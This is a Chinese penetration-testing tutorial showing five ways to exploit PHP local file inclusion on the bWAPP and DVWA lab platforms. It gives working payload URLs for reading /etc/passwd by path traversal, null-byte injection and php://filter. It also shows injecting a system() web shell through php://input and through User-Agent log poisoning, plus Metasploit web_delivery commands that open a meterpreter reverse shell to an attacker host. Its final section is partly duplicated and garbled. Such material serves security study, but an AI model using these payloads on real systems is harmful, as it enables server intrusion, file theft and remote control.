五种利用本地包含漏洞的方式

简介: 本文讲的是五种利用本地包含漏洞的方式,本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。
本文讲的是 五种利用本地包含漏洞的方式本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句<?php include fuction.php?>就可以调用内部定义的函数。

本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。

本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。

基本本地文件包含

在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。

五种利用本地包含漏洞的方式

这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。

五种利用本地包含漏洞的方式

空字符注入

在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。

现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy  

五种利用本地包含漏洞的方式

Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图

五种利用本地包含漏洞的方式

现在内部BurpSuite会将拦截的数据发送到中继器。

五种利用本地包含漏洞的方式

存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。

五种利用本地包含漏洞的方式

从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。

五种利用本地包含漏洞的方式

Base64编码

现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。

五种利用本地包含漏洞的方式

比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。

五种利用本地包含漏洞的方式

现在会有一个弹出框被打开,然后复制编码文本,并单击OK

五种利用本地包含漏洞的方式

从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。

五种利用本地包含漏洞的方式

PHP输入

使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go

五种利用本地包含漏洞的方式

现在使用PHP输入函数,操作上面的URL 

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

然后选中复选框的enable Post data ,

,它将转发发布请求并在给定文本区域中添加cmd注释<?php system($ _ GET ['cmd']); ?>如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。

五种利用本地包含漏洞的方式

现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。

现在键入use exploit / multi / script / web_delivery

msf exploit(web_delivery)>set target 1
msf exploit(web_delivery)>set payload windows/meterpreter/reverse_tcp
msf exploit(web_delivery)> set lhost 192.168.0.104
msf exploit(web_delivery)> set srvport 8081
msf exploit(web_delivery)> exploit

然后复制下面窗口红色字体的文本

五种利用本地包含漏洞的方式

将上面复制的PHP代码粘贴到URL中,如图所示,并执行它。

五种利用本地包含漏洞的方式

当执行上面的URL时,攻击者就会在metasploit中获得受害者的meterpreter通信记录。

msf exploit(web_delivery)> session -I 1
meterpreter> sysinfo

五种利用本地包含漏洞的方式

Proc / self / environ

如果服务器已过响应时间,还可以通过LFI重新利用,包括存储在User_Agent的/proc/self/environ文件,我们将把我们的PHP代码放置其中用于执行CMD命令。

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

五种利用本地包含漏洞的方式

现在启动burp suite 并捕获浏览器的请求,就能获取发送到中继器的数据。

五种利用本地包含漏洞的方式

在user_Agent内,添加cmd注释<?php system($ _ GET ['cmd']); ?>,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。在窗口的右侧,你就可以看到hig

添加cmd注释<?php system($ _ GET ['cmd']); ?>在user_Agent内,并使用GET参数192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id发送请求,如下图所示。 在窗口的右侧,你可以看到有闪亮的字体,这代表出现了相应的响应。

五种利用本地包含漏洞的方式




原文发布时间为:2017年2月18日
本文作者:xiaohui 
本文来自云栖社区合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。
目录
相关文章
|
XML 存储 SQL
独立部署Xray反练平台——详细说明加举例xxe漏洞
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有:检测速度快。发包速度快; 漏洞检测算法高效。支持范围广。大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。代码质量高。编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码可靠性。高级可定制。通过配置文件暴露了引擎的各种参数,通过修改配置文件可以极大的客制化功能。安全无威胁。xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为无害化检查。
1510 0
独立部署Xray反练平台——详细说明加举例xxe漏洞
|
2月前
|
安全 网络安全
明御安全网关任意文件上传漏洞
安恒信息明御安全网关(以下简称“NGFW”)秉持安全可视、简单有效的理念,以资产为视角,构建“事前+事中+事后”全流程防御的下一代安全防护体系,并融合传统防火墙、入侵防御系统、防病毒网关、上网行为管控、VPN网关、威胁情报等安全模块于一体的智慧化安全网关。
158 1
|
2月前
|
安全 应用服务中间件 PHP
文件上传解析漏洞,以及检测方式的绕过
文件上传解析漏洞,以及检测方式的绕过
|
9月前
|
安全 Shell PHP
渗透攻击实例-文件上传导致任意代码执行
渗透攻击实例-文件上传导致任意代码执行
|
10月前
|
SQL Web App开发 安全
Smanga未授权远程代码执行漏洞(CVE-2023-36076) 附加SQL注入+任意文件读取
Smanga存在未授权远程代码执行漏洞,攻击者可在目标主机执行任意命令,获取服务器权限。
220 0
|
安全
非法文件的包含攻击是什么意思?底层原理是什么?
非法文件的包含攻击是什么意思?底层原理是什么?
242 0
|
安全 API Android开发
教你如何高效的检查APK中使用敏感权限的地方以及检查某系统方法被调用的地方
教你如何高效的检查APK中使用敏感权限的地方以及检查某系统方法被调用的地方
451 0
教你如何高效的检查APK中使用敏感权限的地方以及检查某系统方法被调用的地方
|
SQL 安全 数据库
ctfshow-萌新-web3( 利用intval函数的特性配合联合注入获取网站敏感信息)
ctf.show 萌新模块 web3关,此关卡考察的是 intval()函数的特性,以及SQL注入漏洞的利用;首先需要利用 intval()转换字符串的特性绕过校验,而后利用联合注入获取数据库中的敏感信息,从而获取flag,源码中过滤了or,加减乘除(+-*/),hex,!等关键字,这里推荐使用联合注入
533 0
ctfshow-萌新-web3( 利用intval函数的特性配合联合注入获取网站敏感信息)
|
安全
如何查找网站漏洞文件任意查看漏洞详情与利用
在对网站程序代码的安全检测当中,网站文件任意查看漏洞在整个网站安全报告中属于比较高危的网站漏洞,一般网站里都会含有这种漏洞,尤其平台,商城,交互类的网站较多一些,像普通权限绕过漏洞,导致的就是可以查看到网站里的任何一个文件,甚至可以查看到网站的配置文件config.php conn.php等等。
1250 0
|
存储
访问沙盒外文档UIDocumentPickerViewController
官方文档解析 官方文档:https://developer.apple.com/documentation/uikit/uidocumentpickerviewcontroller?language=objc UIDocumentPickerViewController有四种模式: Import an external document:用户选择一个外部文档,文档选择器拷贝该文档到应用沙盒,不会修改源文档。
4930 0